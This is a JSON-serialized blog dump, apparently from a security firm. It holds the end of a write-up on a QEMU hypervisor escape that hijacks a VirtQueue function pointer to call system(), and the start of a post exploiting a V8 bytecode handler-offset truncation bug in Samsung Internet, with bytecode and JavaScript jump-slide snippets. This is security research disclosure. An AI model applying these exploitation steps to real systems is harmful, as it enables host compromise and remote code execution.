",{"type":23,"tag":56,"props":130459,"children":130461},{"className":130460},[],[130462],{"type":28,"value":122864},{"type":28,"value":130464}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":56,"props":130466,"children":130468},{"className":130467},[],[130469],{"type":28,"value":130470},".vq",{"type":28,"value":130472}," pointer, then follow that pointer to leak ",{"type":23,"tag":56,"props":130474,"children":130476},{"className":130475},[],[130477],{"type":28,"value":130226},{"type":28,"value":15031},{"type":23,"tag":56,"props":130480,"children":130482},{"className":130481},[],[130483],{"type":28,"value":130128},{"type":28,"value":130485}," structure. In our case, that field points to ",{"type":23,"tag":56,"props":130487,"children":130489},{"className":130488},[],[130490],{"type":28,"value":122516},{"type":28,"value":130492},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":130494,"children":130495},{},[130496,130498,130504],{"type":28,"value":130497},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":56,"props":130499,"children":130501},{"className":130500},[],[130502],{"type":28,"value":130503},"system",{"type":28,"value":320},{"type":23,"tag":82,"props":130506,"children":130508},{"id":130507},"rip-control",[130509],{"type":28,"value":130510},"RIP Control",{"type":23,"tag":24,"props":130512,"children":130513},{},[130514,130516,130521,130523,130529],{"type":28,"value":130515},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":56,"props":130517,"children":130519},{"className":130518},[],[130520],{"type":28,"value":130503},{"type":28,"value":130522},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":56,"props":130524,"children":130526},{"className":130525},[],[130527],{"type":28,"value":130528},"VirtQueue.handle_output",{"type":28,"value":320},{"type":23,"tag":24,"props":130531,"children":130532},{},[130533,130535,130540,130542,130547,130549,130554],{"type":28,"value":130534},"We overwrite ",{"type":23,"tag":56,"props":130536,"children":130538},{"className":130537},[],[130539],{"type":28,"value":130226},{"type":28,"value":130541}," with the address of ",{"type":23,"tag":56,"props":130543,"children":130545},{"className":130544},[],[130546],{"type":28,"value":130503},{"type":28,"value":130548}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":56,"props":130550,"children":130552},{"className":130551},[],[130553],{"type":28,"value":130234},{"type":28,"value":130555}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":130557,"children":130558},{},[130559,130561,130567,130569,130575,130577,130583],{"type":28,"value":130560},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":56,"props":130562,"children":130564},{"className":130563},[],[130565],{"type":28,"value":130566},"virtio_queue_notify_vq",{"type":28,"value":130568},", which calls ",{"type":23,"tag":56,"props":130570,"children":130572},{"className":130571},[],[130573],{"type":28,"value":130574},"vq->handle_output(vq->vdev)",{"type":28,"value":130576}," - or, after our overwrites, ",{"type":23,"tag":56,"props":130578,"children":130580},{"className":130579},[],[130581],{"type":28,"value":130582},"system(command)",{"type":28,"value":320},{"type":23,"tag":24,"props":130585,"children":130586},{},[130587,130589,130595,130597],{"type":28,"value":130588},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":56,"props":130590,"children":130592},{"className":130591},[],[130593],{"type":28,"value":130594},"gnome-calculator",{"type":28,"value":130596}," on the host system:\n",{"type":23,"tag":29951,"props":130598,"children":130599},{},[],{"type":23,"tag":130601,"props":130602,"children":130611},"tweet-card",{"author-name":130603,"date":130604,"duration":130605,"handle":130606,"media-mime-type":130607,"media-src":130608,"media-type":130609,"tweet-url":130610},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[130612,130617,130622],{"type":23,"tag":24,"props":130613,"children":130614},{},[130615],{"type":28,"value":130616},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":130618,"children":130619},{},[130620],{"type":28,"value":130621},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":130623,"children":130624},{},[130625],{"type":28,"value":130626},"Writeup coming next week.",{"type":23,"tag":29951,"props":130628,"children":130629},{},[],{"type":23,"tag":24,"props":130631,"children":130632},{},[130633,130635,130641,130643,130649],{"type":28,"value":130634},"The final exploit, targeting QEMU commit ",{"type":23,"tag":56,"props":130636,"children":130638},{"className":130637},[],[130639],{"type":28,"value":130640},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":130642}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":92,"props":130644,"children":130647},{"href":130645,"rel":130646},"https://github.com/otter-sec/qemu-escape",[96],[130648],{"type":28,"value":46564},{"type":28,"value":320},{"type":23,"tag":24,"props":130651,"children":130652},{},[130653,130655,130662],{"type":28,"value":130654},"Special thanks to ",{"type":23,"tag":92,"props":130656,"children":130659},{"href":130657,"rel":130658},"https://www.willsroot.io/",[96],[130660],{"type":28,"value":130661},"William Liu",{"type":28,"value":130663}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":70,"props":130665,"children":130666},{"id":1800},[130667],{"type":28,"value":1803},{"type":23,"tag":24,"props":130669,"children":130670},{},[130671],{"type":28,"value":130672},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":130674,"children":130675},{},[130676],{"type":28,"value":130677},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":1815,"props":130679,"children":130680},{},[130681],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":130683},[130684,130687,130690,130699],{"id":122412,"depth":540,"text":122425,"children":130685},[130686],{"id":122433,"depth":555,"text":122436},{"id":122457,"depth":540,"text":122460,"children":130688},[130689],{"id":122471,"depth":555,"text":122471},{"id":98859,"depth":540,"text":98862,"children":130691},[130692,130693,130694,130695,130696,130697,130698],{"id":125063,"depth":555,"text":125066},{"id":126590,"depth":555,"text":126593},{"id":127384,"depth":555,"text":127387},{"id":127789,"depth":555,"text":127792},{"id":128005,"depth":555,"text":128008},{"id":128211,"depth":555,"text":128214},{"id":130507,"depth":555,"text":130510},{"id":1800,"depth":540,"text":1803},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":130704,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":130705,"description":130706,"date":130707,"author":130708,"image":130711,"isFeatured":16,"onBlogPage":16,"tags":130713,"body":130716,"_type":1838,"_id":140624,"_source":1840,"_file":140625,"_stem":140626,"_extension":1843},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[122408,130709,130710],"jamie","william",{"src":130712,"width":96019,"height":12604},"/posts/mobile-renderer-rce/title.png",[130714,130715],"RCE","mobile",{"type":20,"children":130717,"toc":140604},[130718,130722,130727,130741,130747,130761,130782,130790,130803,130811,130824,130830,130843,130857,130863,130877,130980,130985,130993,130998,131003,131024,131102,131110,131129,131142,131148,131154,131168,131284,131289,131294,131302,131307,131315,131343,131372,131384,131560,131565,131573,131592,131605,131611,131631,131645,131650,131655,131683,131719,131788,131794,131816,131821,131829,131842,131847,131855,131860,131899,131905,131918,131923,132101,132111,132119,132139,132163,132176,132182,132187,132829,132834,132842,132884,134873,134878,134886,134892,134925,134943,135113,135171,135196,135290,135295,136086,136091,136099,136110,138154,138159,138167,138173,138195,138209,138222,138234,138264,138269,138710,138738,138845,138862,139019,139024,139036,139332,139358,139381,139513,139525,139530,139682,139718,139731,139736,139858,139899,139976,139981,140555,140561,140573,140586,140590,140595,140600],{"type":23,"tag":70,"props":130719,"children":130720},{"id":27996},[130721],{"type":28,"value":27999},{"type":23,"tag":24,"props":130723,"children":130724},{},[130725],{"type":28,"value":130726},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":130728,"children":130729},{},[130730,130732,130739],{"type":28,"value":130731},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":92,"props":130733,"children":130736},{"href":130734,"rel":130735},"https://cor.team",[96],[130737],{"type":28,"value":130738},"Crusaders of Rust",{"type":28,"value":130740}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":82,"props":130742,"children":130744},{"id":130743},"finding-the-v8-version",[130745],{"type":28,"value":130746},"Finding the V8 Version",{"type":23,"tag":24,"props":130748,"children":130749},{},[130750,130752,130759],{"type":28,"value":130751},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":92,"props":130753,"children":130756},{"href":130754,"rel":130755},"https://developer.android.com/tools/adb",[96],[130757],{"type":28,"value":130758},"adb",{"type":28,"value":130760}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":130762,"children":130763},{},[130764,130766,130772,130774,130780],{"type":28,"value":130765},"After extracting the APK, we searched the ",{"type":23,"tag":56,"props":130767,"children":130769},{"className":130768},[],[130770],{"type":28,"value":130771},"lib/",{"type":28,"value":130773}," directory for ",{"type":23,"tag":56,"props":130775,"children":130777},{"className":130776},[],[130778],{"type":28,"value":130779},"v8::*",{"type":28,"value":130781}," symbols:",{"type":23,"tag":494,"props":130783,"children":130785},{"code":130784},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[130786],{"type":23,"tag":56,"props":130787,"children":130788},{"__ignoreMap":7},[130789],{"type":28,"value":130784},{"type":23,"tag":24,"props":130791,"children":130792},{},[130793,130795,130801],{"type":28,"value":130794},"Only one file matched our search: ",{"type":23,"tag":56,"props":130796,"children":130798},{"className":130797},[],[130799],{"type":28,"value":130800},"libterrace.so",{"type":28,"value":130802},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":130804,"children":130805},{},[130806],{"type":23,"tag":126,"props":130807,"children":130810},{"alt":130808,"src":130809},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":130812,"children":130813},{},[130814,130816,130822],{"type":28,"value":130815},"Surprisingly, this ",{"type":23,"tag":56,"props":130817,"children":130819},{"className":130818},[],[130820],{"type":28,"value":130821},"13.6.233.10",{"type":28,"value":130823}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":82,"props":130825,"children":130827},{"id":130826},"choosing-the-bug",[130828],{"type":28,"value":130829},"Choosing the Bug",{"type":23,"tag":24,"props":130831,"children":130832},{},[130833,130835,130841],{"type":28,"value":130834},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":56,"props":130836,"children":130838},{"className":130837},[],[130839],{"type":28,"value":130840},"d8",{"type":28,"value":130842}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":130844,"children":130845},{},[130846,130848,130855],{"type":28,"value":130847},"Another one was ",{"type":23,"tag":92,"props":130849,"children":130852},{"href":130850,"rel":130851},"https://issuetracker.google.com/issues/443875388",[96],[130853],{"type":28,"value":130854},"CVE-2025-10891",{"type":28,"value":130856}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":70,"props":130858,"children":130860},{"id":130859},"ignition-bytecode-introduction",[130861],{"type":28,"value":130862},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":130864,"children":130865},{},[130866,130868,130875],{"type":28,"value":130867},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":92,"props":130869,"children":130872},{"href":130870,"rel":130871},"https://v8.dev/blog/ignition-interpreter",[96],[130873],{"type":28,"value":130874},"Ignition",{"type":28,"value":130876}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":494,"props":130878,"children":130880},{"code":130879,"language":498,"meta":7,"className":496,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[130881],{"type":23,"tag":56,"props":130882,"children":130883},{"__ignoreMap":7},[130884,130907,130931,130955],{"type":23,"tag":504,"props":130885,"children":130886},{"class":506,"line":507},[130887,130891,130895,130899,130903],{"type":23,"tag":504,"props":130888,"children":130889},{"style":511},[130890],{"type":28,"value":10769},{"type":23,"tag":504,"props":130892,"children":130893},{"style":529},[130894],{"type":28,"value":88587},{"type":23,"tag":504,"props":130896,"children":130897},{"style":598},[130898],{"type":28,"value":648},{"type":23,"tag":504,"props":130900,"children":130901},{"style":1440},[130902],{"type":28,"value":3504},{"type":23,"tag":504,"props":130904,"children":130905},{"style":523},[130906],{"type":28,"value":866},{"type":23,"tag":504,"props":130908,"children":130909},{"class":506,"line":540},[130910,130914,130918,130922,130927],{"type":23,"tag":504,"props":130911,"children":130912},{"style":511},[130913],{"type":28,"value":10769},{"type":23,"tag":504,"props":130915,"children":130916},{"style":529},[130917],{"type":28,"value":89461},{"type":23,"tag":504,"props":130919,"children":130920},{"style":598},[130921],{"type":28,"value":648},{"type":23,"tag":504,"props":130923,"children":130924},{"style":1440},[130925],{"type":28,"value":130926}," 0x0fff",{"type":23,"tag":504,"props":130928,"children":130929},{"style":523},[130930],{"type":28,"value":866},{"type":23,"tag":504,"props":130932,"children":130933},{"class":506,"line":555},[130934,130938,130942,130946,130951],{"type":23,"tag":504,"props":130935,"children":130936},{"style":511},[130937],{"type":28,"value":10769},{"type":23,"tag":504,"props":130939,"children":130940},{"style":529},[130941],{"type":28,"value":36422},{"type":23,"tag":504,"props":130943,"children":130944},{"style":598},[130945],{"type":28,"value":648},{"type":23,"tag":504,"props":130947,"children":130948},{"style":1440},[130949],{"type":28,"value":130950}," 0x0fffffff",{"type":23,"tag":504,"props":130952,"children":130953},{"style":523},[130954],{"type":28,"value":866},{"type":23,"tag":504,"props":130956,"children":130957},{"class":506,"line":633},[130958,130962,130967,130971,130976],{"type":23,"tag":504,"props":130959,"children":130960},{"style":511},[130961],{"type":28,"value":10769},{"type":23,"tag":504,"props":130963,"children":130964},{"style":529},[130965],{"type":28,"value":130966}," d",{"type":23,"tag":504,"props":130968,"children":130969},{"style":598},[130970],{"type":28,"value":648},{"type":23,"tag":504,"props":130972,"children":130973},{"style":1440},[130974],{"type":28,"value":130975}," 0xffffffff",{"type":23,"tag":504,"props":130977,"children":130978},{"style":523},[130979],{"type":28,"value":866},{"type":23,"tag":24,"props":130981,"children":130982},{},[130983],{"type":28,"value":130984},"compiles to",{"type":23,"tag":494,"props":130986,"children":130988},{"code":130987}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[130989],{"type":23,"tag":56,"props":130990,"children":130991},{"__ignoreMap":7},[130992],{"type":28,"value":130987},{"type":23,"tag":24,"props":130994,"children":130995},{},[130996],{"type":28,"value":130997},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":82,"props":130999,"children":131001},{"id":131000},"cve-2025-10891",[131002],{"type":28,"value":130854},{"type":23,"tag":24,"props":131004,"children":131005},{},[131006,131008,131014,131016,131022],{"type":28,"value":131007},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":56,"props":131009,"children":131011},{"className":131010},[],[131012],{"type":28,"value":131013},"[start, end) => handler",{"type":28,"value":131015}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":56,"props":131017,"children":131019},{"className":131018},[],[131020],{"type":28,"value":131021},"handler",{"type":28,"value":131023}," is jumped to.",{"type":23,"tag":494,"props":131025,"children":131027},{"code":131026,"language":498,"meta":7,"className":496,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[131028],{"type":23,"tag":56,"props":131029,"children":131030},{"__ignoreMap":7},[131031,131042,131057,131072,131095],{"type":23,"tag":504,"props":131032,"children":131033},{"class":506,"line":507},[131034,131038],{"type":23,"tag":504,"props":131035,"children":131036},{"style":544},[131037],{"type":28,"value":47311},{"type":23,"tag":504,"props":131039,"children":131040},{"style":523},[131041],{"type":28,"value":552},{"type":23,"tag":504,"props":131043,"children":131044},{"class":506,"line":540},[131045,131049,131053],{"type":23,"tag":504,"props":131046,"children":131047},{"style":544},[131048],{"type":28,"value":34178},{"type":23,"tag":504,"props":131050,"children":131051},{"style":1440},[131052],{"type":28,"value":3504},{"type":23,"tag":504,"props":131054,"children":131055},{"style":523},[131056],{"type":28,"value":866},{"type":23,"tag":504,"props":131058,"children":131059},{"class":506,"line":555},[131060,131064,131068],{"type":23,"tag":504,"props":131061,"children":131062},{"style":523},[131063],{"type":28,"value":45853},{"type":23,"tag":504,"props":131065,"children":131066},{"style":544},[131067],{"type":28,"value":796},{"type":23,"tag":504,"props":131069,"children":131070},{"style":523},[131071],{"type":28,"value":552},{"type":23,"tag":504,"props":131073,"children":131074},{"class":506,"line":633},[131075,131079,131083,131087,131091],{"type":23,"tag":504,"props":131076,"children":131077},{"style":511},[131078],{"type":28,"value":6838},{"type":23,"tag":504,"props":131080,"children":131081},{"style":529},[131082],{"type":28,"value":89461},{"type":23,"tag":504,"props":131084,"children":131085},{"style":598},[131086],{"type":28,"value":648},{"type":23,"tag":504,"props":131088,"children":131089},{"style":1440},[131090],{"type":28,"value":6917},{"type":23,"tag":504,"props":131092,"children":131093},{"style":523},[131094],{"type":28,"value":866},{"type":23,"tag":504,"props":131096,"children":131097},{"class":506,"line":687},[131098],{"type":23,"tag":504,"props":131099,"children":131100},{"style":523},[131101],{"type":28,"value":884},{"type":23,"tag":494,"props":131103,"children":131105},{"code":131104}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[131106],{"type":23,"tag":56,"props":131107,"children":131108},{"__ignoreMap":7},[131109],{"type":28,"value":131104},{"type":23,"tag":24,"props":131111,"children":131112},{},[131113,131115,131120,131122,131127],{"type":28,"value":131114},"However, the ",{"type":23,"tag":56,"props":131116,"children":131118},{"className":131117},[],[131119],{"type":28,"value":131021},{"type":28,"value":131121}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":56,"props":131123,"children":131125},{"className":131124},[],[131126],{"type":28,"value":796},{"type":28,"value":131128}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":131130,"children":131131},{},[131132,131134,131140],{"type":28,"value":131133},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":56,"props":131135,"children":131137},{"className":131136},[],[131138],{"type":28,"value":131139},"yield*",{"type":28,"value":131141}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":70,"props":131143,"children":131145},{"id":131144},"exploitation",[131146],{"type":28,"value":131147},"Exploitation",{"type":23,"tag":82,"props":131149,"children":131151},{"id":131150},"constant-smuggling",[131152],{"type":28,"value":131153},"Constant Smuggling",{"type":23,"tag":24,"props":131155,"children":131156},{},[131157,131159,131166],{"type":28,"value":131158},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":92,"props":131160,"children":131163},{"href":131161,"rel":131162},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[96],[131164],{"type":28,"value":131165},"technique",{"type":28,"value":131167}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":494,"props":131169,"children":131171},{"code":131170,"language":498,"meta":7,"className":496,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[131172],{"type":23,"tag":56,"props":131173,"children":131174},{"__ignoreMap":7},[131175,131203,131230,131257],{"type":23,"tag":504,"props":131176,"children":131177},{"class":506,"line":507},[131178,131182,131186,131190,131194,131199],{"type":23,"tag":504,"props":131179,"children":131180},{"style":511},[131181],{"type":28,"value":10769},{"type":23,"tag":504,"props":131183,"children":131184},{"style":529},[131185],{"type":28,"value":88587},{"type":23,"tag":504,"props":131187,"children":131188},{"style":598},[131189],{"type":28,"value":648},{"type":23,"tag":504,"props":131191,"children":131192},{"style":598},[131193],{"type":28,"value":50234},{"type":23,"tag":504,"props":131195,"children":131196},{"style":1440},[131197],{"type":28,"value":131198},"9.255963134931783e61",{"type":23,"tag":504,"props":131200,"children":131201},{"style":523},[131202],{"type":28,"value":866},{"type":23,"tag":504,"props":131204,"children":131205},{"class":506,"line":540},[131206,131210,131214,131218,131222,131226],{"type":23,"tag":504,"props":131207,"children":131208},{"style":511},[131209],{"type":28,"value":10769},{"type":23,"tag":504,"props":131211,"children":131212},{"style":529},[131213],{"type":28,"value":89461},{"type":23,"tag":504,"props":131215,"children":131216},{"style":598},[131217],{"type":28,"value":648},{"type":23,"tag":504,"props":131219,"children":131220},{"style":598},[131221],{"type":28,"value":50234},{"type":23,"tag":504,"props":131223,"children":131224},{"style":1440},[131225],{"type":28,"value":131198},{"type":23,"tag":504,"props":131227,"children":131228},{"style":523},[131229],{"type":28,"value":866},{"type":23,"tag":504,"props":131231,"children":131232},{"class":506,"line":555},[131233,131237,131241,131245,131249,131253],{"type":23,"tag":504,"props":131234,"children":131235},{"style":511},[131236],{"type":28,"value":10769},{"type":23,"tag":504,"props":131238,"children":131239},{"style":529},[131240],{"type":28,"value":36422},{"type":23,"tag":504,"props":131242,"children":131243},{"style":598},[131244],{"type":28,"value":648},{"type":23,"tag":504,"props":131246,"children":131247},{"style":598},[131248],{"type":28,"value":50234},{"type":23,"tag":504,"props":131250,"children":131251},{"style":1440},[131252],{"type":28,"value":131198},{"type":23,"tag":504,"props":131254,"children":131255},{"style":523},[131256],{"type":28,"value":866},{"type":23,"tag":504,"props":131258,"children":131259},{"class":506,"line":633},[131260,131264,131268,131272,131276,131280],{"type":23,"tag":504,"props":131261,"children":131262},{"style":511},[131263],{"type":28,"value":10769},{"type":23,"tag":504,"props":131265,"children":131266},{"style":529},[131267],{"type":28,"value":130966},{"type":23,"tag":504,"props":131269,"children":131270},{"style":598},[131271],{"type":28,"value":648},{"type":23,"tag":504,"props":131273,"children":131274},{"style":598},[131275],{"type":28,"value":50234},{"type":23,"tag":504,"props":131277,"children":131278},{"style":1440},[131279],{"type":28,"value":131198},{"type":23,"tag":504,"props":131281,"children":131282},{"style":523},[131283],{"type":28,"value":866},{"type":23,"tag":24,"props":131285,"children":131286},{},[131287],{"type":28,"value":131288},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":131290,"children":131291},{},[131292],{"type":28,"value":131293},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":494,"props":131295,"children":131297},{"code":131296},"let a = 0x0693bebe;\n",[131298],{"type":23,"tag":56,"props":131299,"children":131300},{"__ignoreMap":7},[131301],{"type":28,"value":131296},{"type":23,"tag":24,"props":131303,"children":131304},{},[131305],{"type":28,"value":131306},"We will compile the bytecode:",{"type":23,"tag":494,"props":131308,"children":131310},{"code":131309},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[131311],{"type":23,"tag":56,"props":131312,"children":131313},{"__ignoreMap":7},[131314],{"type":28,"value":131309},{"type":23,"tag":24,"props":131316,"children":131317},{},[131318,131320,131326,131328,131334,131335,131341],{"type":28,"value":131319},"We can then jump to the 3rd byte (",{"type":23,"tag":56,"props":131321,"children":131323},{"className":131322},[],[131324],{"type":28,"value":131325},"0xbe",{"type":28,"value":131327},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":56,"props":131329,"children":131331},{"className":131330},[],[131332],{"type":28,"value":131333},"0x93 0x02 - 0xf",{"type":28,"value":801},{"type":23,"tag":56,"props":131336,"children":131338},{"className":131337},[],[131339],{"type":28,"value":131340},"Jump +[2-15]",{"type":28,"value":131342},") to jump into the next constant.",{"type":23,"tag":24,"props":131344,"children":131345},{},[131346,131348,131354,131356,131362,131364,131370],{"type":28,"value":131347},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":56,"props":131349,"children":131351},{"className":131350},[],[131352],{"type":28,"value":131353},"StarX",{"type":28,"value":131355}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":56,"props":131357,"children":131359},{"className":131358},[],[131360],{"type":28,"value":131361},"Star rX",{"type":28,"value":131363}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":56,"props":131365,"children":131367},{"className":131366},[],[131368],{"type":28,"value":131369},"Star.ExtraWide rX",{"type":28,"value":131371}," instructions.",{"type":23,"tag":24,"props":131373,"children":131374},{},[131375,131377,131383],{"type":28,"value":131376},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":56,"props":131378,"children":131380},{"className":131379},[],[131381],{"type":28,"value":131382},"0x8931111",{"type":28,"value":3472},{"type":23,"tag":494,"props":131385,"children":131387},{"code":131386,"language":498,"meta":7,"className":496,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[131388],{"type":23,"tag":56,"props":131389,"children":131390},{"__ignoreMap":7},[131391,131416,131440,131464,131488,131512,131536],{"type":23,"tag":504,"props":131392,"children":131393},{"class":506,"line":507},[131394,131398,131403,131407,131412],{"type":23,"tag":504,"props":131395,"children":131396},{"style":511},[131397],{"type":28,"value":10769},{"type":23,"tag":504,"props":131399,"children":131400},{"style":529},[131401],{"type":28,"value":131402}," a206",{"type":23,"tag":504,"props":131404,"children":131405},{"style":598},[131406],{"type":28,"value":648},{"type":23,"tag":504,"props":131408,"children":131409},{"style":1440},[131410],{"type":28,"value":131411}," 0x8931111",{"type":23,"tag":504,"props":131413,"children":131414},{"style":523},[131415],{"type":28,"value":866},{"type":23,"tag":504,"props":131417,"children":131418},{"class":506,"line":540},[131419,131423,131428,131432,131436],{"type":23,"tag":504,"props":131420,"children":131421},{"style":511},[131422],{"type":28,"value":10769},{"type":23,"tag":504,"props":131424,"children":131425},{"style":529},[131426],{"type":28,"value":131427}," a207",{"type":23,"tag":504,"props":131429,"children":131430},{"style":598},[131431],{"type":28,"value":648},{"type":23,"tag":504,"props":131433,"children":131434},{"style":1440},[131435],{"type":28,"value":131411},{"type":23,"tag":504,"props":131437,"children":131438},{"style":523},[131439],{"type":28,"value":866},{"type":23,"tag":504,"props":131441,"children":131442},{"class":506,"line":555},[131443,131447,131452,131456,131460],{"type":23,"tag":504,"props":131444,"children":131445},{"style":511},[131446],{"type":28,"value":10769},{"type":23,"tag":504,"props":131448,"children":131449},{"style":529},[131450],{"type":28,"value":131451}," a208",{"type":23,"tag":504,"props":131453,"children":131454},{"style":598},[131455],{"type":28,"value":648},{"type":23,"tag":504,"props":131457,"children":131458},{"style":1440},[131459],{"type":28,"value":131411},{"type":23,"tag":504,"props":131461,"children":131462},{"style":523},[131463],{"type":28,"value":866},{"type":23,"tag":504,"props":131465,"children":131466},{"class":506,"line":633},[131467,131471,131476,131480,131484],{"type":23,"tag":504,"props":131468,"children":131469},{"style":511},[131470],{"type":28,"value":10769},{"type":23,"tag":504,"props":131472,"children":131473},{"style":529},[131474],{"type":28,"value":131475}," 